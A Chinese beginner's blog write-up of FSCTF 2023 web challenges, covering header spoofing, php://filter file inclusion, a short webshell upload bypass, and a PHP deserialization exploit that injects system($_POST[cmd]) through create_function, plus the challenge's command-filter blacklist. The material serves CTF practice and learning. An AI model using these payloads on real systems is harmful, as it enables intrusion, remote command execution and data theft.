新手大白话 FSCTF 2023刷题记录2

巴巴托斯
进入页面发现提示我们要使用FSCTF Browser,利用burpsuite进行抓包,改User-Agent: FSCTF Browser,出现提示要本地才能查看,这里有坑,我把X-Forwarded-For相关的试完了都不对,后来看别的wp发现是将Referer改为127.0.0.1,真是无语。更无语的在后边,都绕过后发现就一张图,什么都没有,后来在burp发现get参数为file=???,这不就是文件包含吗,直接伪协议试试,php://filter/convert.base64-encode/resource=flag.php,直接出。为什么要直接用flag.php,因为一般名字不久那几个。

寻找蛛丝马迹
1.源码发现
2.查看css
3.js文件
4.robots.txt
5.提示苹果 .DS_store 因为在苹果系统下大部分文件夹都包含这个文件
6.dirmap扫目录发现www.zip

是兄弟,就来传你の🐎!
文件上传题目,直接传码试试,发现php被过滤,mime可能也是,利用正常的其他php后缀格式进行绕过,发现pht可以绕过,但是有提示说长度不能超过15,那么直接上payload

点击查看代码
GIF<?=`nl /f*`;
为什么payload是这样,因为`$command`是php的一种命令执行方式
点击查看代码
<?=XXXXX; 就是最短php的形式GIF是绕过文件内容头部检测。

签到plus
进入页面发现404了,直接扫目录发现shell.php文件,直接访问是php探针页面,在里面有个坑就是flag为假的,这时我们想到题目服务器被黑客接管了,看看有没有源码泄露之类的,在http头部发现php版本<=7.4.21,那就是development server源码泄露。其实这里我也没想出来,因为一般的的源码泄露是git,vim等。
利用exp进行攻击得到响应包,是不是发现眼熟。这里不做多解释。

CanCanNeed
进入页面发现源码

点击查看代码
<?php
class Noteasy{
    protected $param1;
    protected $param2;
    
    function __destruct(){
        $a=$this->param1;
        $b=$this->param2;
        if(preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\*|\||\<|\"|\'|\=|\?|sou|\.|log|scan|chr|local|sess|b2|id|show|cont|high|reverse|flip|rand|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|y2f/i', $this->param2)) { 
            die('this param is error!'); 
        } else { 
            $a('', $b); 
        }
    }
    
}
if (!isset($_GET['file'])){    
    show_source('index.php');
    echo "Hi!Welcome to FSCTF2023!";
  }
  else{ 
    $file=base64_decode($_GET['file']); 
    unserialize($file); }
?> 
一眼create_function代码注入漏洞(别问我怎么知道的,题做多了就见的多了)。但是打它之前我们发现'和`被过滤了,这样我们没法在参数b处直接进行命令执行,但是我们可以构造一句话木马啊,好直接打它。
点击查看代码
payload:
<?php
class Noteasy{
    protected $param1 = "create_function";
    protected $param2 = "};system(\$_POST[cmd]);//";
    
    function __destruct(){
        $a=$this->param1;
        $b=$this->param2;
        if(preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\*|\||\<|\"|\'|\=|\?|sou|\.|log|scan|chr|local|sess|b2|id|show|cont|high|reverse|flip|rand|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|y2f/i', $this->param2)) { 
            die('this param is error!'); 
        } else { 
            $a('', $b);   // 这里就变为了create_function('');system(\$_POST[cmd]);//);   //在php里面是注释符,后面的不执行,这样就将一句话变为了两句话。仔细看create_function的定义,它里边有一个lambda的匿名函数。
        }
    }
} 
$a = new Noteasy();
echo base64_encode(serialize($a));

在post下输入1=cat /flag,结束。

加速加速
做了半天没做出来,条件竞争会点,在上传时怎么一直传不上去,直接看wp吧。https://blog.csdn.net/XXokok/article/details/134064255?spm=1001.2014.3001.5501

posted @   jockerliu  阅读(130)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 【.NET】调用本地 Deepseek 模型
· CSnakes vs Python.NET:高效嵌入与灵活互通的跨语言方案对比
· DeepSeek “源神”启动!「GitHub 热点速览」
· 我与微信审核的“相爱相杀”看个人小程序副业
· Plotly.NET 一个为 .NET 打造的强大开源交互式图表库
点击右上角即可分享
微信分享提示